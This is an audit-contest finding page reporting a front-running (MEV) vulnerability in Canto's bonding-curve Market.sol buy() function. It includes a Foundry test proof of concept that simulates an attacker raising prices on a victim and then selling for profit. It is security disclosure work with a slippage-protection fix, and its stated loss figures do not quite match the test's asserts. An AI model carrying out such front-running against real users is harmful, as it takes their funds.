Canto Application Specific Dollars and Bonding Curves for 1155s - ElCid's results

Tokenizable bonding curves using a Stablecoin-as-a-Service token

General Information

Platform: Code4rena

Start Date: 13/11/2023

Pot Size: $24,500 USDC

Total HM: 3

Participants: 120

Period: 4 days

Judge: 0xTheC0der

Id: 306

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 113/120

Findings: 1

Award: $1.37

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150-L169

Vulnerability details

Impact

A malicious user can front-run any invocation of the buy() function, executing the same function to artificially elevate share prices for the victim and generate profits. The front-runned transaction will end up paying more than expected therefore loosing funds. The attacker can then call sell() immediately after the victim transaction is confirmed to retrieve the amount stolen.

Some points to consider:

  • The attacker can do this attack several times to several different Shares.
  • The greater the sum spent in the buy() transaction by the victim, the larger the potential gains for * the front-runner when they subsequently sell the acquired tokens.
  • The attacker has the obstacle of the front-runned transaction failing by lack of funds on the victim's part. To overcome this, he can build a bot that listens to mempool and calculates the maximum value he can extract from the victim without it reverting with lack of funds.

Proof of Concept

  • Eve creates a new Share with priceIncrease=1e17.
  • Alice sees that a new Share was created and decides to buy 6 tokens expecting to spend 33,52 eth.
  • The attacker sees Alice's transaction in the mempool and front-runs it with a transaction where he buys 6 tokens.
  • The attacker's transaction gets confirmed first and pays 33,52 eth for the 6 tokens.
  • Alice's transaction is only confirmed after the attacker's and ends up paying 88,52 for the 6 tokens.
  • In the next block, the attacker rushes to sell his 6 tokens and steals Alice's funds by calling sell(). The attacker stole 50.44 eth.

Add the test bellow to Market.t.sol. The variable that defines the price Increase of Share tokens was changed to LINEAR_INCREASE = 15e17. I also added the following get function to Market.sol:

function getTokensByAddress(uint256 id, address user) public returns(uint256 balance){ //@elcid added get function balance = tokensByAddress[id][user]; }

Bellow is the PoC of the Exploit:

function testFrontRun() public { address attacker = address(5); //funding users deal(address(token), attacker, 1000 ether); deal(address(token), alice, 1000 ether); testCreateNewShare(); vm.stopPrank(); //Bob sees Alice's transaction in the mempool and frontruns it uint256 attackerBalanceBefore = token.balanceOf(attacker); vm.startPrank(attacker); token.approve(address(market), 1000 ether); market.buy(1, 6); vm.stopPrank(); assertEq(market.tokensByAddress(1, attacker), 6); //Bob has 6 tokens uint256 attackerBalanceAfter = token.balanceOf(attacker); uint256 attackerPrice = attackerBalanceBefore - attackerBalanceAfter; assertEq(attackerPrice, 33525000000000000000); //Alice's transaction gets confirmed uint256 aliceBalanceBefore = token.balanceOf(alice); vm.startPrank(alice); token.approve(address(market), 1000 ether); market.buy(1, 6); vm.stopPrank(); assertEq(market.tokensByAddress(1, alice), 6); //Alice has 6 tokens uint256 aliceBalanceAfter = token.balanceOf(alice); uint256 alicePrice = aliceBalanceBefore - aliceBalanceAfter; uint256 aliceAmountLost = alicePrice - attackerPrice; assertEq(alicePrice, 88524999999999999974); assertEq(aliceAmountLost, 54999999999999999974); //Alice pays way more than she thought she would pay //Bob imediatly sells and makes profit vm.startPrank(attacker); market.sell(1, 6); uint256 attackerBalanceAfterSelling = token.balanceOf(attacker); uint256 attackerProfit = attackerBalanceAfterSelling - attackerBalanceBefore; console.log(attackerProfit); }

Tools Used

Manual Review

Consider adding slippage protection parameter like maxAmountToPay.

Assessed type

MEV

#0 - c4-pre-sort

2023-11-18T10:44:57Z

minhquanym marked the issue as duplicate of #12

#1 - c4-judge

2023-11-28T23:14:14Z

MarioPoneder changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-11-28T23:37:51Z

MarioPoneder marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter